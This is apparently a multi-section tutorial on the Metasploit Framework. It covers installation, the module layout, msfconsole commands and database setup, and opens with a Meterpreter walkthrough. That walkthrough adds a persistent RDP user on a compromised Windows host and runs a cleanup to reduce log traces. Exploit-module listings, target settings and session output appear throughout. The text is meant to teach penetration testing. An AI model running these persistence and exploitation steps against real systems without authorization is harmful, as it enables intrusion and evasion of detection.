Metasploit Framework is a powerful open source tool for penetration testing, exploit development, and vulnerability research. It is the most widely used penetration testing framework in the world. Metasploit Framework is a collection of tools, libraries, and documentation that makes it easy to develop, test, and execute exploits against a target system. It is written in Ruby and is available for Windows, Linux, and OS X.
1 - MSF Remote Desktop Module
In this article, we will see how we can create a user in the system using the getgui command and then connect to this computer with the rdesktop command.
When you open a shell with Meterpreter in Metasploit Framework, one of the operations that can be done is to implement a remote desktop connection. The getgui command is very useful for this.
In this article, we will see how we can create a user in the system using the getgui command and then connect to this computer with the rdesktop command.
We assume that you have opened the Meterpreter shell on the target computer. Now we need the username and password required to establish a visual connection using the getgui command. When you create such a username and password, you will have ensured permanence.
First, let’s look at the getgui help titles.
meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e
OPTIONS:
-e Enable RDP only.
-f Forward RDP Connection.
-h Help menu.
-l The language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN' -p The Password of the user
Adding a User
Generally, -u is used to specify the username, -p the password. When you use the getgui command in a similar way to the example below, you add a new user to the system.
meterpreter > run getgui -u loneferret -p password
> Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
> Carlos Perez carlos_perez@darkoperator.com
> Language detection started
> Language detected: en_US
> Setting user account for logon
> Adding User: loneferret with Password: password
> Adding User: loneferret to local group ''> Adding User: loneferret to local group ''> You can now login with the created user
> For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
meterpreter >
Remote Desktop Connection
Now the user is created. You can connect to the remote desktop using this username and password from another computer on the same network.
The more you play around with the target system, the more likely you are to be recorded in the log records. For this reason, you should avoid unauthorized actions as much as possible or be content with intervening where necessary.
You may want to clean the log records of the user and session information you created with getgui. The following command example will be useful for this. You can check the most up-to-date version of the /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc file used in the example from the same folder.
meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
> Running Command List ...
> Running command execute -H -f cmd.exe -a "/c net user hacker /delete"Process 288 created.
meterpreter >
2 - Metasploit Framework Installation
Metasploit Framework is a software used in penetration testing and security testing.
Metasploit Framework is a software used in penetration testing and security testing. The Pro version of the software developed by Rapid7 is distributed for a fee and has visual interface support.
Metasploit Framework comes installed in Kali etc. distributions. Even if you do not use Kali, you can install it on your own Linux distribution. In this article, we will examine how to install the free version, which is the Community version and works from the command line. It is estimated that the commands used in the explanation will work on all Ubuntu-based distributions. We performed our tests and trials on Linux Mint 18.1 Cinnamon Linux distribution.
Let’s Update Linux Mint
Linux will be updated and restarted with the following commands.
When the process starts, the screen will continue as follows.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100539410053940092480 --:--:-- --:--:-- --:--:-- 9252Updating package cache..OK
Checking for **and installing update..
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
metasploit-framework
0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.
Need to get 176 MB of archives.
After this operation, 431 MB of additional disk space will be used.
Get:1 <a href="http://downloads.metasploit.com/data/...[176">http://downloads.metasploit.com/data/...[176</a> MB]
The above command will add the Rapid7 APT Repository to the system and install the necessary packages.
After the installation, return from root privileges to normal user privileges with the exit command. The # sign in the command line should change to $.
umut-X550JX umut # exitumut@umut-X550JX ~ $
First run
Run the msfconsole command in the command line and create a database: Answer yes to the question Would you like to use and setup a new database (recommended)?
user@mint ~ $ msfconsole
****** Welcome to Metasploit Framework Initial Setup ******
Please answer a few questions to get started.
Would you like to use and setup a new database (recommended)? yes
Creating database at /home/user/.msf4/db
Starting database at /home/user/.msf4/db
Creating database users
Creating initial database schema
****** Metasploit Framework Initial Setup Complete ******
If things went well (which I’m sure they will), you will be greeted with a screen similar to the example below.
, ,
/ \
**((**__---,,,---__**))**
(_) O O (_)_________
\ _ / |\
o_o \ M S F |\
\ _____ | *****
**||**| WW||| **||**| **||**|[ metasploit v4.14.17-dev- ]+ -- --[1647 exploits - 945 auxiliary - 291 post ]+ -- --[486 payloads - 40 encoders - 9 nops ]+ -- --[ Free Metasploit Pro trial: <a href="http://r-7.co/trymsp">http://r-7.co/trymsp</a> ]msf >
Let’s check the connection to the database
You can check the database connection with the msfdb status command.
msf > msfdb status
> exec: msfdb status
Database started at /home/umut/.msf4/db
msf >
The database will create the exploit index in a few minutes. Then you will be able to search for exploits faster with the search command.
For example, if you are looking for an exploit related to samba, the following search samba command may be useful.
msf > search samba
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
auxiliary/dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow
auxiliary/dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow
auxiliary/dos/samba/read_nttrans_ea_list normal Samba read_nttrans_ea_list Integer Overflow
auxiliary/scanner/rsync/modules_list normal List Rsync Modules
auxiliary/scanner/smb/smb_uninit_cred normal Samba _netr_ServerPasswordSet Uninitialized Credential State
exploit/freebsd/samba/trans2open 2003-04-07 great Samba trans2open Overflow (*****BSD x86) exploit/linux/samba/chain_reply 2010-06-16 good Samba chain_reply Memory Corruption (Linux x86) exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Samba lsa_io_trans_names Heap Overflow
exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Samba SetInformationPolicy AuditEventsInfo Heap Overflow
exploit/linux/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Linux x86) exploit/multi/samba/nttrans 2003-04-07 average Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
exploit/osx/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflow
exploit/osx/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Mac OS X PPC) exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflow
exploit/solaris/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Solaris SPARC) exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution
exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Citrix Access Gateway Command Execution
exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent MS14-060 Microsoft Windows OLE Package Manager Code Execution
exploit/windows/http/sambar6_search_results 2003-06-21 normal Sambar 6 Search Results Buffer Overflow
exploit/windows/license/calicclnt_getconfig 2005-03-02 average Computer Associates License Client GETCONFIG Overflow
exploit/windows/smb/group_policy_startup 2015-01-26 manual Group Policy Script Execution From Shared Resource
post/linux/gather/enum_configs normal Linux Gather Configurations
Metasploit Framework is updated very frequently. Since the package repository is added to your system, it can be updated with apt update or from within msfconsole You can update it with the msfupdate command.
3 - Metasploit Framework Basics
I wanted to take a look at the basic information and commands you may need to use the Metasploit Framework effectively and at full capacity.
I wanted to take a look at the basic information and commands you may need to use the Metasploit Framework effectively and at full capacity. Instead of rushing and going fast, let’s first see the basic information that will make our job easier.
Architecture and Libraries
Metasploit consists of the elements briefly shown in the architecture diagram you see above. Let’s briefly introduce these basic elements
Rex
It is the most basic starting library for Metasploit. It is the center where socket, protocol, SSL, SMB, HTTP, XOR, Base64, Unicode operations are performed.
Msf::Core
The Core layer, built on the Rex library, is the part where settings that allow external modules and plugins to be added are managed. It provides the basic API. This is the Framework we call the Framework.
Msf::Base
This layer is the part where the basic APIs are simplified even more.
Msf::GUI
This is the part that the user sees. The parts where the interface and commands are entered are located here.
File system
MSF Files
The MSF file system is designed to make the user’s job easier and the folders are meaningful. If you are going to use a program, knowing the file system and what is in which folder is very important for the beginning. If you have installed the Metasploit Framework software on your Linux operating system via your distribution’s software center, you can find the necessary folders in /usr/share. If you downloaded and installed it as a Debian package, you can find it in the /opt/metasploit-framework/ folder.
Let’s see what information some of the main folders contain.
data: Files used and modified by Metasploit are in this folder.
documentation: Help and explanation documents about MSF are in this folder.
external: Source codes and 3rd party libraries are in this folder.
lib: Main libraries used by MSF are in this folder.
modules: Modules in the index when MSF is loaded are in this folder.
plugins: Plugins to be loaded when the program starts are here.
scripts: Meterpreter and other script codes are in this folder.
tools: There are various command line tools.
Modules and Their Locations
Modules
Metasploit Framework is made up of modules. What are these modules in short?
Payload: Script codes designed to work on the opposite system are called Payload.
Exploits: Modules that use Payload are called exploits.
Auxiliary: Modules that do not use Payload are called Auxiliary modules.
Encoders: Modules that ensure that Payload scripts are sent to the opposite party and are delivered.
Nops: Modules that ensure that Payload scripts work continuously and healthily.
Where Are the Modules?
Let’s look at the folder where the modules, which we can divide into two as basic modules and user modules, are located.
Basic Modules
The modules that are installed and ready every time MSF is loaded are located in the /usr/share/metasploit-framework/modules/ folder we mentioned above or in /opt/metasploit-framework/modules/. Windows users can also look in the Program Files folder.
User Modules
The greatest opportunity Metasploit provides to the user is the ability to include their own modules in the framework. You have written or downloaded a script that you want to use. These codes are called user modules and are kept in a hidden folder with a dot at the beginning in the user’s home folder. Its exact address is ~/.msf4/modules/. ~ means home folder. You can activate the “Show Hidden Files” option to see the folder in the file manager.
Introducing user modules to the system
MSF offers the user the opportunity to load their own additional modules when starting or after starting. Let’s see how this is done when starting and after starting.
In both methods explained below, the folder addresses you will give to the commands must contain folders that comply with the msf naming convention. For example, if you want to load an exploit from the ~/.msf4/modules/ folder, that exploit must be in the ~/.msf4/modules/exploit/ folder.
You can learn the exact names of the folders and the naming template from the folder your program is installed in. The sample output for my computer is in the folder structure below.
umut@umut-X550JX /opt/metasploit-framework/embedded/framework/modules $ ls -l
total 24drwxr-xr-x 20 root root 4096 May 10 14:46 auxiliary
drwxr-xr-x 11 root root 4096 May 10 14:46 encoders
drwxr-xr-x 19 root root 4096 May 10 14:46 exploits
drwxr-xr-x 10 root root 4096 May 10 14:46 nops
drwxr-xr-x 5 root root 4096 May 10 14:46 payloads
drwxr-xr-x 12 root root 4096 May 10 14:46 post
Getting user Loading modules
As we mentioned above, user modules were in the ~/.msf4/modules/ folder. When we tell this folder to the msfconsole command, additional modules are loaded and the system starts like that. We can do this with the -m parameter as seen in the command below.
umut@umut-X550JX ~ $ msfconsole -m ~/.msf4/modules/
Found a database at /home/umut/.msf4/db, checking to see **if **it is started
Starting database at /home/umut/.msf4/db...success
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Press SPACE BAR to **continue**
[ metasploit v4.14.17-dev- ]+ -- --[1648 exploits - 946 auxiliary - 291 post ]+ -- --[486 payloads - 40 encoders - 9 nops ]+ -- --[ Free Metasploit Pro trial: <a href="http://r-7.co/trymsp">http://r-7.co/trymsp</a> ]msf >
After starting, introduce a module
You started the MSF program with the msfconsole command and some of your operations are ongoing. You do not need to close the program to introduce a new module to the system. With the loadpath command, the module Once you tell it the path it is in, the installation will take place.
In this article, we will examine the basic commands used in the Metasploit Framework.
In this article, we will examine the basic commands used in the Metasploit Framework. You may think that the commands are too many and complicated at first, but I recommend that you give yourself time. You will become familiar with them as you use them and you will start typing them automatically. When writing commands, you can type a few letters of the command and complete the rest automatically with the TAB key. Command and folder path completion in msfconsole works exactly like in the Linux command line.
back
When you activate a module you have selected using the use command, you can stop using the module. In this case, when you want to go back to a higher folder, the back command is used. Technically, it is not very necessary because when you select a new module in the module you are in, you exit that module.
Although not every exploit supports this command, let’s explain what it does. You have chosen a module and are wondering if it will work on the target system before applying it. After making the necessary settings with the set command, you can do a preliminary test with the check command.
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > check
> Verifying vulnerable status... (path: 0x0000005a)> System is not vulnerable (status: 0x00000000)> The target is not exploitable.
msf exploit(ms08_067_netapi) >
color
It allows you to color the output and information you receive from msfconsole.
msf > color
Usage: color >'true'|'false'|'auto'>
Enable or disable color output.
connect
We can say that it is a small telnet or netcat program. It has SSL support and you can do file sending etc. To use it, you can reach the remote computer from msfconsole if you specify the IP address and port number you want to connect to.
You can see detailed options for the connect command with the -h parameter.
msf > connect -h
Usage: connect [options]Communicate with a host, similar to interacting via netcat, taking advantage of any configured session pivoting.
OPTIONS:
-C Try to use CRLF for **EOL sequence.
-P <opt> Specify source port.
-S <opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-i <opt> Send the contents of a file.
-p <opt> List of proxies to use.
-s Connect with SSL.
-u Switch to a UDP socket.
-w <opt> Specify connect timeout.
-z Just try to connect, thenreturn**.
msf >
edit
If you want to make changes to the code of the actively selected module, you can open the text editor with the edit command and perform the necessary operations. The Vim editor will open by default.
msf exploit(ms10_061_spoolss) > edit
> Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb
require 'msf/core'require 'msf/windows_error'class Metasploit3 > Msf::Exploit::Remote
Rank= ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})
exit
Used to exit msfconsole.
msf exploit(ms10_061_spoolss) > exitroot@kali:~#
help
It is used to display a list of available commands and their brief descriptions on the screen.
msf > helpCore Commands
**=============**
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
...snip...
Database Backend Commands
**=========================**
Command Description
------- -----------
creds List all credentials **in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)...snip...
info
You can examine detailed information about any module you want with the info command. Before using any module, we recommend that you read the module details with the info command. You may not be successful just by looking at its name.
msf exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Version: 14774 Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD) Rank: Good
Provided by:
Laurent Gaffie <laurent.gaffie@gmail.com>
hdm <hdm@metasploit.com>
sf <stephen_fewer@harmonysecurity.com>
Available targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008(x86)Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to waitfor the attack to complete.
Payload information:
Space: 1024Description:
This module exploits an out of bounds **function **table dereference **in
the SMB request validation code of the SRV2.SYS driver included with
Windows Vista, Windows 7 release candidates (not RTM), and Windows
2008 Server prior to R2. Windows Vista without SP1 does not seem
affected by this flaw.
References:
<a href="http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx">http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx</a>
<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name">http://cve.mitre.org/cgi-bin/cvename.cgi?name</a>=2009-3103
<a href="http://www.securityfocus.com/bid/36299">http://www.securityfocus.com/bid/36299</a>
<a href="http://www.osvdb.org/57799">http://www.osvdb.org/57799</a>
<a href="http://seclists.org/fulldisclosure/2009/Sep/0039.html">http://seclists.org/fulldisclosure/2009/Sep/0039.html</a>
<a href="http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx">http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx</a>
msf exploit(ms09_050_smb2_negotiate_func_index) >
irb
When you issue this command, you go directly to the Ruby script operator. It allows you to write scripts with Ruby from within msfconsole.
It allows you to list the modules running in the background, shutdown, etc.
msf > jobs -h
Usage: jobs[options]Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf >
kill
If you give the job id number of a running process, it will cause the process to be closed.
msf exploit(ms10_002_aurora) > kill0Stopping job: 0...
> Server stopped.
load
Allows you to load plugins from Metasploit folders. Parameters must be specified in key=val format.
If you do not give the full path of the plugin with the load command, the user folders ~/.msf4/plugins are first checked. If it is not found there, the metasploit-framework main folders /usr/share/metasploit-framework/plugins are checked for the plugin.
Some modules reference external resources from within script commands. For example, you can use the resource command to use resources (password dictionary) etc. in msfconsole.
These types of resource files can speed up your work considerably. You can use the -r parameter to send a msfconsole resource file from outside msfconsole.
The route command is used to change the route of communication on the target computer. It has add, delete and list options. You need to send the subnet, netmask, gateway parameters to the command.
When you open a meterpreter session on the target computer, you can see the current communication table if you give the route command without parameters.
msf > help search
Usage: search [keywords]Keywords:
name : Modules with a matching descriptive name
path : Modules with a matching path or reference name
platform : Modules affecting this platform
type : Modules of a specific type(exploit, auxiliary, or post) app : Modules that are client or server attacks
author : Modules written by this author
cve : Modules with a matching CVE ID
bid : Modules with a matching Bugtraq ID
osvdb : Modules with a matching OSVDB ID
msf >
name
Search with keyword “name”.
msf > search name:mysql
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/mysql/mysql_enum normal MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql normal MySQL SQL Generic Query
auxiliary/analyze/jtr_mysql_fast normal John the Ripper MySQL Password Cracker (Fast Mode) auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal MySQL Authentication Bypass Password Dump
auxiliary/scanner/mysql/mysql_hashdump normal MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login normal MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump normal MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version normal MySQL Server Version Enumeration
exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good MySQL yaSSL CertDecoder::GetName Buffer Overflow
exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good MySQL yaSSL SSL Hello Message Buffer Overflow
exploit/windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL for **Microsoft Windows Payload Execution
exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL Hello Message Buffer Overflow
msf >
path
Searching module folders with the keyword “path”.
msf > search path:scada
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/scada/igss_exec_17 2011-03-21 normal Interactive Graphical SCADA System Remote Command Injection
exploit/windows/scada/citect_scada_odbc 2008-06-11 normal CitectSCADA/CitectFacilities ODBC Buffer Overflow
...snip...
platform
Search with keyword “platform”
msf > search platform:aix
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
payload/aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
payload/aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
payload/aix/ppc/shell_interact normal AIX execve shell for **inetd
...snip...
type
Search with keyword “type”
msf > search type:exploit
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/linux/gather/checkvm normal Linux Gather Virtual Environment Detection
post/linux/gather/enum_cron normal Linux Cron Job Enumeration
post/linux/gather/enum_linux normal Linux Gather System Information
...snip...
author
Search by author with the keyword “author”.
msf > search author:dookie
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/osx/http/evocam_webserver 2010-06-01 average MacOS X EvoCam HTTP GET Buffer Overflow
exploit/osx/misc/ufo_ai 2009-10-28 average UFO: Alien Invasion IRC Client Buffer Overflow Exploit
exploit/windows/browser/amaya_bdo 2009-01-28 normal Amaya Browser v11.0 bdo tag overflow
...snip...
multiple
You can search by entering more than one keyword criteria.
msf > search cve:2011 author:jduck platform:linux
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/misc/netsupport_manager_agent 2011-01-08 average NetSupport Manager Agent Remote Buffer Overflow
sessions
You can manage sessions with the sessions command. Sessions are processes that organize the currently active activities of each module you use.
msf > sessions -h
Usage: sessions [options]Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c <opt> Run a command on the session given with -i, or all
-d <opt> Detach an interactive session
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate session
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-u <opt> Upgrade a win32 shell to a meterpreter session
-v List verbose fields
You can use the -l parameter to see the list of all currently existing sessions.
msf exploit(3proxy) > sessions -l
Active sessions
**===============**
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.101:33191 -> 192.168.1.104:4444
To interact with a given session, you just need to use the ‘-i’ switch followed by the Id number of the session.
msf exploit(3proxy) > sessions -i 1> Starting interaction with 1...
C:WINDOWSsystem32>
set
The set command is used to edit the options and parameters that need to be set for the module you have selected and activated with the use command.
msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST=> 172.16.194.134
msf auxiliary(ms09_050_smb2_negotiate_func_index) > show options
Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to waitfor the attack to complete.
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008(x86)
While you can make the necessary adjustments with the set command, you may also want to see the list of encoders that the active module can use.
It is the opposite of the set command and cancels the parameter you set in the previous step. You can cancel all the variables you set with the unset all command.
msf > set RHOSTS 192.168.1.0/24
RHOSTS=> 192.168.1.0/24
msf > set THREADS 50THREADS=> 50msf > setGlobal
**======**
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > setGlobal
**======**
No entries **in **data store.
msf >
setg
You have selected a module and activated it. You will probably set the RHOST variable for that module. You can do this with the set RHOST command, but when you switch to a different module, even if your RHOST value (Target IP) has not changed, the setting you made in the previous module will not be carried over to the new module. Here, the setg command allows you to use a variable setting, active in all modules, without having to set it again and again. Even if you use this setting, we recommend that you check it with the show options command at the end.
You have made all the settings and want to exit msfconsole. When you enter again, if you want to use your previous settings again, save them by giving the save command. This way you can save time.
msf > save
Saved configuration to: /root/.msf4/config
msf >
show
If you use the show command without any parameters, you can see the list of all modules in metasploit.
msf > show
Encoders
**========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic **${**IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
...snip...
You can also use the show command in the following formats.
show auxiliary
msf > show auxiliary
Auxiliary
**=========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability
admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry Access
...snip...
show exploits
msf > show exploits
Exploits
**========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/rpc_cmsd_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
aix/rpc_ttdbserverd_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX) bsdi/softcart/mercantec_softcart 2004-08-19 great Mercantec SoftCart CGI Overflow
...snip...
show payloads
msf > show payloads
Payloads
**========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact normal AIX execve shell for **inetd
...snip...
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
**===================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
...snip...
The show options command shows the options and variables that can be set for the active module.
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)Exploit target:
Id Name
-- ----
0 Automatic Targeting
If you are not sure which operating systems can use the module you selected, you can use the show targets command.
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
10 Windows 2003 SP1 Japanese (NO NX)11 Windows 2003 SP2 English (NO NX)12 Windows 2003 SP2 English (NX)...snip...
You can use the show advanced command to see the most detailed information about the module.
msf exploit(ms08_067_netapi) > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
show encoders
You can use the show encoders command to see the list of all encoders you can use in Metasploit.
msf > show encoders
Compatible Encoders
**===================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic **${**IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
show nops
You can see the list of code generators called NOP Generator with the show nops command.
msf > show nops
NOP Generators
**==============**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
armle/simple normal Simple
php/generic normal PHP Nop Generator
ppc/simple normal Simple
sparc/random normal SPARC NOP generator
tty/generic normal TTY Nop Generator
x64/simple normal Simple
x86/opty2 normal Opty2
x86/single_byte normal Single Byte
use
After your searches, you have decided to use a module. At this point, you can activate the module with the use command.
msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
msf auxiliary(ms09_001_write) >
When you want to get help with a command during any operation, you can use the help command.
Video Explanation
5 - MSF Database Error on Startup
Fixing the database error that occurs when starting msfconsole in Kali Linux.
If you are using Metasploit framework software on Kali Operating System, you may have started to receive the following error at the start of msfconsole after the latest update. Using database in msfconsole is very useful for saving and reusing the scans you have made. The reason for this error is Postgresql 9.6 version installed in Kali with the latest update.
ERROR MESSAGE
Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost"(::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost"(127.0.0.1) and accepting TCP/IP connections on port 5432?
Postgresql 9.5 version used before Kali OS update listened to incoming requests on port 5432. Postgresql 9.6 started listening on port 5433 by default with the settings made in the conf file. Metasploit Framework is still trying to communicate with Postgresql on port 5432. Let’s check and fix this situation with the steps below and continue using our database where we left off.
SOLUTION
Start Postgresql Service:
service postgresql start
What is Postgresql Listening Port Right Now?
You can see the port number that Postgresql is currently listening to with the command below.
ss -lntp | grep post
You will probably get a result similar to the output below. If you see 5433 as the listening port, we can move on to the next step.
If you see 5433 instead of 5432 in the output, that means the problem is here.
Let’s Change the Port:
Let’s make the port number 5432 with the following command.
sed -i 's/\(port = \)5433/\15432/' /etc/postgresql/9.6/main/postgresql.conf
Let’s restart the service and then set the msfdb startup. Now, you can connect to the database when Metasploit Framework starts with msfconsole.
service postgresql restart
msfdb reinit
6 - Database Usage in Metasploit Framework
Within the Metasploit Framework, the database feature offered with Postgresql support is very useful and records the scan results in one place.
Within the Metasploit Framework, the database feature offered with Postgresql support is very useful and records the scan results in one place. Recording the results found makes it easier to transfer information such as IP addresses, port numbers or Hash Dump etc. to exploits to be used in the next steps.
The following explanation is based on the Kali operating system and the commands have been tested in Kali.
Setting Up the Metasploit Database
First of all, postgresql should be started if it has not started yet.
root@kali:~# systemctl start postgresql
After starting postgresql, the database should be prepared for initial use. For this, we can use the ```msfdb init`` script.
root@kali:~# msfdb init
Creating database user 'msf'Enter password for **new role:
Enter it again:
Creating databases 'msf' and 'msf_test'Creating configuration file **in** /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
Workspace Usage
